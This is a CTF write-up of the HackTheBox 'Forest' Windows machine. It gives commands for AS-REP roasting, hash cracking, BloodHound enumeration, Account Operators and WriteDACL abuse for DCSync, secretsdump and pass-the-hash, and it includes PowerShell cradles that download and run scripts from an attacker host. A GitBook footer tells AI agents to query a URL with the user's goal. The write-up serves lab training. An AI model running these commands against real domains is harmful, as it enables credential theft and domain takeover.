> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Forest HackTheBox Writeup

Forest HackTheBox Easy Windows machine writeup covering AXFR - Domain Zone Transfer Attack (Failed), RPC Enumeration - Getting valid domain users, Performing an AS-RepRoast attack with the obtained us

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**Skills:**

* AXFR - Domain Zone Transfer Attack (Failed)
* RPC Enumeration - Getting valid domain users
* Performing an AS-RepRoast attack with the obtained users
* Cracking Hashes
* Abusing WinRM - EvilWinRM
* LDAP Enumeration - ldapdomaindump
* BloodHound Enumeration
* Gathering system information with SharpHound.ps1 - PuckieStyle
* Representing and visualizing data in BloodHound
* Finding an attack vector in BloodHound
* Abusing Account Operators Group - Creating a new user
* Abusing Account Operators Group - Assigning a group to the newly created user
* Abusing WriteDacl in the domain - Granting DCSync Privileges
* DCSync Exploitation - Secretsdump.py
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f62300cce066223cb1b660f065a37bdd3e13ed84%2Fimage%20(1559).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53c408039e62a2d37b7defb10e47a7eddad0bd2%2Fimage%20(1560).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5e2087caa4fd407ed742c404c9d5a6ce05ebd00%2Fimage%20(1561).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fe0f8a217257fdb1ab3120759c0ed2ab0c03410%2Fimage%20(1562).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccacd7bbcdd50f2a5268b2e4f5efd560cef41172%2Fimage%20(1563).png?alt=media" alt=""><figcaption></figcaption></figure>

## **List and operation:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **SMB Reconnaissance:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

Using CrackMapExec to identify the operating system

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c249b9b0946cf55be4bb55efa8833429b834c791%2Fimage%20(1564).png?alt=media" alt=""><figcaption></figcaption></figure></div>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address/ is inserted into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccbe548b7042afef02b39c95487a4ba7d6577d2a%2Fimage%20(1566).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/Exploration of SMB shares on the network to identify shared resources but no results. //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead32c7cab9614c854b972ad27bafea487033144%2Fimage%20(1565).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC Reconnaissance:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

Use of rpcclient to interact with CPP services and collect resource information

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ba2900412473c9125cb98ea67e44eb358aa820b%2Fimage%20(1567).png?alt=media" alt=""><figcaption></figcaption></figure>

#### List the groups:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a05b4db631f36c83d6747ada6553d52ba4e07944%2Fimage%20(1569).png?alt=media" alt=""><figcaption></figcaption></figure>

## ASREPRoast attack:

#### With a list of valid users, we will conduct an AS-RepRoast attack as we do not need user passwords.

We will use `grep` to filter user names, then insert these data into a file

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2897e55ebec297609a6e790c7af63be8549f0f3b%2Fimage%20(1568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### We use the GetNPUsers.py tool to extract user information without a password:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b903484512efe33896f29aab34df9a878327d1f0%2Fimage%20(1570).png?alt=media" alt=""><figcaption></figcaption></figure>

#### We retrieve the hash of the user's password "lucinda" and try to break it with John the Ripper using a predefined password list:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b026f80d2eaafada249a1a317847289f89b7a0d%2Fimage%20(1571).png?alt=media" alt=""><figcaption></figcaption></figure>

#### We use CrackMapExec to check if the cracked password is correct by attempting a WinRM connection:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da5bd730d33010e5692d67ebd33414e7ec559312%2Fimage%20(1573).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Finally, we use Evil-WinRM to connect to the remote machine with cracked identification information:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05ccf5014908a55a42a3df732615aac6f50849b4%2Fimage%20(1574).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation:

### Domain Enumeration with BloodHound <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>Installation Bloodhound:</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/Log in to Bloodhound with the names neo4j:neo4j. //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**Launching BloodHound.**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cbcf772d4073c8f4c688f1d43a11e86a1f21ac8%2Fimage%20(1577).png?alt=media" alt=""><figcaption></figcaption></figure>

### Collect Information with SharpHound.ps1 <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### Transfer the collected data to a Linux server.

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a888b288ff4a8bbe355123bae68ab253b90ff436%2Fimage%20(2121).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddd4a56c1a63d03f39c28dfaffa41edccf140c30%2Fimage%20(2122).png?alt=media" alt=""><figcaption></figcaption></figure>

#### We transfer the zip file to our team.

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd1a8153a045da19da182b5ecb8be5b3cd8e6e7%2Fimage%20(2123).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/Import zip file in Bloodhound. //*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-badb346b1ce8b764467faf062f8afd287e72a5d3%2Fimage%20(1555).png?alt=media" alt=""><figcaption></figcaption></figure>

### BloodHound Analysis and Operations <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### Filtering data to find the shortest path to the domain administrator.

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56d48ef789079360505f1028687332b5a42b541b%2Fimage%20(1556).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Identification of membership in a potentially problematic group (Account Operator).

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-141df2341334f9a3fb6def4a3eaa6ecdef4cfe99%2Fimage%20(1557).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c071d0bc48a17d5b9247399d726b49a67c0856%2Fimage%20(1558).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Using user creation capability to prepare a DCSync attack.

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-119ea87726b1f0e249b20ca1e0d789e2f785e592%2Fimage%20(2125).png?alt=media" alt=""><figcaption></figcaption></figure>

### DCSync Attempt without Sufficient Rights

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a90df4cc9870e24d40d846a272bf74eebd9a937e%2Fimage%20(2127).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Added user to a group with higher permissions (`Exchange Windows Permissions`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8083f0f7d784e1ecbea76aa408400cc0c487366%2Fimage%20(2128).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92e62d1e545d3efb2e432b19c9d617fa87c32600%2Fimage%20(2130).png?alt=media" alt=""><figcaption></figcaption></figure>

### Attaque WriteDACL:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8ec48c1226e4b7790523073572b707314c4bbc2%2Fimage%20(2131).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

Preparing WriteDACL attack using PowerView\.ps1 to add functionality.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d828bd2214a9c47423c6a7a999178504da4cf9ad%2Fimage%20(2132).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Transfer File

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## DCSync Attack Vulnerability <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### Run the Add-DomainObjectAcl command to get the hashes.

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### Using Impacket to extract hashes with the user jordanmacia.

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab462571d16f82401e7dabe9952b9985939e990%2Fimage%20(2133).png?alt=media" alt=""><figcaption></figcaption></figure>

### Pass-the-Hash Attack:

Using the administrator's NT hash for Pass-the-Hash attack.

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### Access to the system with administrator rights.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec7d36b08714df1a2e945cc4005afd82e582100f%2Fimage%20(2134).png?alt=media" alt=""><figcaption></figcaption></figure>

### Final Flag :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-144436433378152ef3437d52df416d5bd22b6081%2Fimage%20(2135).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f56ab45377213ae666b2737dcd78217333aa616%2Fimage%20(1413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
